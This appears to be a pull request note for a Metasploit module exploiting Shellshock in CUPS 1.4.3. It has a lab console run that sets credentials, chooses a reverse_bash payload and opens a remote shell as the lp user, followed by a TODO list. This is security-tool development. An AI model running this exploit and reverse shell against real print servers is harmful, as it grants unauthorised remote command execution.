Add exploit module for CUPS shellshock

Tested on CUPS version 1.4.3

```
msf exploit(cups_shellshock) > set username test
username => test
msf exploit(cups_shellshock) > set password shock
password => shock
msf exploit(cups_shellshock) > set payload cmd/unix/reverse_bash
payload => cmd/unix/reverse_bash
msf exploit(cups_shellshock) > run

[*] Started reverse handler on 172.16.251.132:4444
[*] 172.16.251.133:631 - Creating printer 'sSHpaty9vP'
[+] 172.16.251.133:631 - Created printer successfully
[*] 172.16.251.133:631 - Requesting printer test page
[*] 172.16.251.133:631 - Test page sent successfully
[*] 172.16.251.133:631 - Deleted printer 'sSHpaty9vP' successfully
[*] Command shell session 1 opened (172.16.251.132:4444 -> 172.16.251.133:54504) at 2014-10-19 13:37:35 -0400

id
uid=7(lp) gid=7(lp) groups=7(lp)
```

TODO
* [x] Get shell
* [x] Remove the printer from the web UI upon completion
* [ ] Add targets for newer shellshock CVEs
* [ ] Implement `check()`
* [ ] Test on more versions of CUPS
* [ ] Check authentication properly - '426' status code indicates upgrade required, not invalid credentials.
* [ ] Remove the job from the web UI - Get the job ID from `print_test_page(printer_name)`
you could probably save yourself a ton of escaping by using the %Q|string| string literal syntax.